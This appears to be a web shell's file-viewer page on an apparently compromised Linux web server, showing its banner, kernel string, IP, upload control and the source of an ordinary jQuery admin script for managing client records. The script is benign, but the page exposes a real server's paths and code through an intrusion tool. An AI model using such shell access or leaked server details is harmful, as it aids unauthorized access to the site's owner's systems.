0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.133.153.232


Current Path : /var/www/html/oums/js/
Upload File :
Current File : /var/www/html/oums/js/upcoming_events.js

function load_page(file_name) {
    load_page_data(
        window.location.href.substr(window.location.href.lastIndexOf('/') + 1)
    )
    cncl_data()
    load_grid_data(20, 1)
}

function cncl_data() {
    $('#btn_addn').show()
    $('#btn_save').hide()
    $('#btn_cncl').hide()
    $('#page-container-main').show()
    $('#page-container-grid').show()
    $('#page-container-form').hide()
}

function clrs_data() {
    $('#btn_addn').hide()
    $('#btn_save').show()
    $('#btn_cncl').show()
    $('#page-container-main').hide()
    $('#page-container-grid').hide()
    $('#page-container-form').show()
    document.getElementById('imgdeptlogo').src = 'img-dept/blank.png'
    $(function () {
        $('#txtexpnfrze').datepicker({ dateFormat: 'dd/mm/yy' })
    })
    $(function () {
        $('#txtattnfrze').datepicker({ dateFormat: 'dd/mm/yy' })
    })
    document.getElementById('txtdeptlogo').value = ''
    document.getElementById('fildeptlogo').value = ''
    document.getElementById('txtdeptcode').value = ''
    document.getElementById('txtdeptname').value = ''
    document.getElementById('txtdeptstat').value = 'T'
    document.getElementById('txtdepthead').value = '0'
    document.getElementById('txtattnenbl').value = 'F'
    document.getElementById('txtexpnenbl').value = 'F'
    document.getElementById('txtsalrenbl').value = 'F'
    document.getElementById('txtlogitime').value = '0'
    document.getElementById('txtlogotime').value = '0'
    document.getElementById('txtsatdlogi').value = '0'
    document.getElementById('txtsatdlogo').value = '0'
    document.getElementById('txtexpnfrze').value = ''
    document.getElementById('txtattnfrze').value = ''
    document.getElementById('txtcoderate').value = '0'
    document.getElementById('txtattnfrze').value = ''
    document.getElementById('txtcgpsaddr').value = ''
    document.getElementById('txtcgpsloca').value = ''
}

function load_grid_data(page_limt, page_numb) {
    $.ajax({
        type: 'POST',
        url: 'src/upcoming_events.php',
        data: {
            load_data: 'grid_data',
            page_limt: page_limt,
            page_numb: page_numb,
            dept_type: document.getElementById('seldepttype').value,
            dept_stat: document.getElementById('seldeptstat').value,
            dept_find: document.getElementById('txtdeptfind').value,
        },
        cache: false,
        beforeSend: function () {
            show_process()
        },
        success: function (data) {
            hide_process()
            $('#page-container-grid').html(data)
        },
        error: function (data) {
            hide_process()
            $('#page-container-grid').html('Error: ' + data)
        },
    })
}

function load_page_limt(page_limt) {
    load_grid_data(page_limt, 1)
}

function addn_data() {
    clrs_data()
    document.getElementById('lblpagemode').innerHTML = 'Add'
    document.getElementById('txtpagemode').value = 'add'
    document.getElementById('txtdeptcode').disabled = false
    document.getElementById('txtdeptcode').focus()
    load_bank_data()
}

function edit_data(prim_data) {
    clrs_data()
    document.getElementById('lblpagemode').innerHTML = 'Edit'
    document.getElementById('txtpagemode').value = 'edit'
    document.getElementById('txtdeptcode').disabled = true
    document.getElementById('txtdepttype').focus()
    load_bank_data()
    $.ajax({
        type: 'POST',
        url: 'src/upcoming_events.php',
        data: {
            load_data: 'disp_data',
            dept_code: prim_data,
        },
        cache: false,
        success: function (data) {
            var data = JSON.parse(data)
            if (data.fdeptlogo == '') {
                document.getElementById('imgdeptlogo').src =
                    'img-dept/blank.png'
            } else {
                document.getElementById('imgdeptlogo').src =
                    'img-dept/' + data.fdeptlogo
            }

            document.getElementById('txtdeptlogo').value = data.fdeptlogo
            document.getElementById('txtdeptcode').value = data.fdeptcode
            document.getElementById('txtdeptshrt').value = data.fdeptshrt
            document.getElementById('txtdeptname').value = data.fdeptname
            document.getElementById('txtdepttype').value = data.fdepttype
            document.getElementById('txtdepthead').value = data.fdepthead
            document.getElementById('txtdeptstat').value = data.fdeptstat
            document.getElementById('txtattnenbl').value = data.fattnenbl
            document.getElementById('txtexpnenbl').value = data.fexpnenbl
            document.getElementById('txtsalrenbl').value = data.fsalrenbl
            document.getElementById('txtlogitime').value = data.flogitime
            document.getElementById('txtlogotime').value = data.flogotime
            document.getElementById('txtsatdlogi').value = data.fsatdlogi
            document.getElementById('txtsatdlogo').value = data.fsatdlogo
            document.getElementById('txtexpnfrze').value = get_format_date(
                data.fexpnfrze
            )
            document.getElementById('txtattnfrze').value = get_format_date(
                data.fattnfrze
            )
            document.getElementById('txtcoderate').value = data.fcoderate
            document.getElementById('txtdeptbank').value = data.fdeptbank
            document.getElementById('txtcgpsaddr').value = data.fcgpsaddr
            document.getElementById('txtcgpsloca').value = data.flocation
        },
        error: function (data) {
            $('#page-container-form').html('Error: ' + data)
        },
    })
}

function dele_data(prim_data) {
    var r = confirm('Delete Record?')
    if (r == true) {
        $.ajax({
            type: 'POST',
            url: 'src/upcoming_events.php',
            data: {
                load_data: 'dele_data',
                dele_code: prim_data,
            },
            success: function (data) {
                load_grid_data(20, 1)
            },
        })
    }
}

function load_dept_time() {
    $.ajax({
        type: 'POST',
        url: 'src/upcoming_events.php',
        data: {
            load_data: 'dept_time',
        },
        cache: false,
        success: function (data) {
            $('#txtlogitime').html(data)
            $('#txtlogotime').html(data)
        },
    })
}

function load_bank_data() {
    $.ajax({
        type: 'POST',
        url: 'src/employees.php',
        data: {
            load_data: 'bank_data',
        },
        cache: false,
        success: function (data) {
            $('#txtdeptbank').html(data)
        },
    })
}

function actv_dept(prim_data) {
    var r = confirm('Activate Client?')
    if (r == true) {
        $.ajax({
            type: 'POST',
            url: 'src/upcoming_events.php',
            data: {
                load_data: 'actv_dept',
                prim_code: prim_data,
            },
            success: function (data) {
                load_grid_data(20, 1)
            },
        })
    }
}

function inac_dept(prim_data) {
    var r = confirm('Deactivate Client?')
    if (r == true) {
        $.ajax({
            type: 'POST',
            url: 'src/upcoming_events.php',
            data: {
                load_data: 'inac_dept',
                prim_code: prim_data,
            },
            success: function (data) {
                load_grid_data(20, 1)
            },
        })
    }
}

function brow_logo_path() {
    $('#fildeptlogo').trigger('click')
}

function chck_logo_file(input) {
    var phot_file = $('#fildeptlogo').val()
    var file_extn = phot_file.split('.').pop()
    file_extn = file_extn.toLowerCase()
    if (
        file_extn == 'jpeg' ||
        file_extn == 'jpg' ||
        file_extn == 'png' ||
        file_extn == 'bmp'
    ) {
    } else {
        alert('JPEG, JPG, PNG and BMP files are allowed!')
        return false
    }
    var file_size = $('#fildeptlogo')[0].files[0].size
    if (file_size > 5000000) {
        alert('Upload files with size less then 5MB!')
        return false
    }
    document.getElementById('txtdeptlogo').value =
        document.getElementById('fildeptlogo').value

    if (input.files && input.files[0]) {
        var reader = new FileReader()
        reader.onload = function (e) {
            $('#imgdeptlogo').attr('src', e.target.result)
        }
        reader.readAsDataURL(input.files[0])
    }
}

function save_data() {
    if (document.getElementById('txtdeptcode').value == '') {
        alert('Please enter client code!')
        txtdeptcode.focus()
        return false
    }

    if (document.getElementById('txtdeptshrt').value == '') {
        alert('Please enter client short name!')
        txtdeptshrt.focus()
        return false
    }

    if (document.getElementById('txtdeptname').value == '') {
        alert('Please enter client name!')
        txtdeptname.focus()
        return false
    }

    if (document.getElementById('txtdepttype').value == '') {
        alert('Please select client type!')
        txtdepttype.focus()
        return false
    }

    if (document.getElementById('txtdepthead').value == '') {
        alert('Please select deptartment head!')
        txtdepthead.focus()
        return false
    }

    if (document.getElementById('txtdeptstat').value == '') {
        alert('Please select status!')
        txtdeptstat.focus()
        return false
    }

    if (document.getElementById('txtcgpsaddr').value == '') {
        alert('Please enter address of the GPS location!')
        txtcgpsaddr.focus()
        return false
    }

    if (document.getElementById('txtcgpsloca').value == '') {
        alert('Please enter GPS location Co-Ordinates!')
        txtcgpsloca.focus()
        return false
    }

    if (
        document.getElementById('txtlogitime').value == '' ||
        document.getElementById('txtlogitime').value == '00:00:00'
    ) {
        alert('Select office logout time!')
        txtlogitime.focus()
        return false
    }

    if (
        document.getElementById('txtlogotime').value == '' ||
        document.getElementById('txtlogotime').value == '00:00:00'
    ) {
        alert('Select office logout time!')
        txtlogotime.focus()
        return false
    }

    dept_logo = $('#txtdeptlogo').val()
    dept_logo = dept_logo.split(' ').join('_')
    dept_logo = dept_logo.replace(/^.*[\\\/]/, '')
    if ($('#fildeptlogo').val() != '') {
        dept_logo =
            document.getElementById('txtdeptshrt').value + '_' + dept_logo
    }

    $.ajax({
        type: 'POST',
        url: 'src/upcoming_events.php',
        dataType: 'json',
        data: {
            load_data: 'save_data',
            page_mode: document.getElementById('txtpagemode').value,
            dept_code: document.getElementById('txtdeptcode').value,
            dept_shrt: document.getElementById('txtdeptshrt').value,
            dept_name: document.getElementById('txtdeptname').value,
            dept_type: document.getElementById('txtdepttype').value,
            dept_head: document.getElementById('txtdepthead').value,
            dept_stat: document.getElementById('txtdeptstat').value,
            attn_enbl: document.getElementById('txtattnenbl').value,
            expn_enbl: document.getElementById('txtexpnenbl').value,
            salr_enbl: document.getElementById('txtsalrenbl').value,

            logi_time: document.getElementById('txtlogitime').value,
            logo_time: document.getElementById('txtlogotime').value,
            satd_logi: document.getElementById('txtsatdlogi').value,
            satd_logo: document.getElementById('txtsatdlogo').value,

            expn_frze: document.getElementById('txtexpnfrze').value,
            attn_frze: document.getElementById('txtattnfrze').value,
            code_rate: document.getElementById('txtcoderate').value,
            dept_bank: document.getElementById('txtdeptbank').value,
            cgps_addr: document.getElementById('txtcgpsaddr').value,
            cgps_loca: document.getElementById('txtcgpsloca').value,
            dept_logo: dept_logo,
        },
        cache: false,
        success: function (data) {
            if ($('#fildeptlogo').val() != '') {
                save_dept_logo()
            }
            alert(data.mesg)
            if (data.stat != 'F') {
                cncl_data()
                load_grid_data(20, 1)
            }
        },
        error: function (data) {
            $('#page-container-form').html('Error: ' + data)
        },
    })
}

function save_dept_logo() {
    var file_data = $('#fildeptlogo').prop('files')[0]
    var file_text = $('#txtdeptshrt').val()

    var form_data = new FormData()
    form_data.append('file', file_data)
    form_data.append('text', file_text)
    $.ajax({
        type: 'POST',
        url: 'src/departments_logo_upload.php',
        data: form_data,
        cache: false,
        contentType: false,
        processData: false,
        beforeSend: function () {
            show_process()
        },
        success: function (data) {
            hide_process()
        },
        error: function (data) {
            hide_process()
            alert(data)
        },
    })
}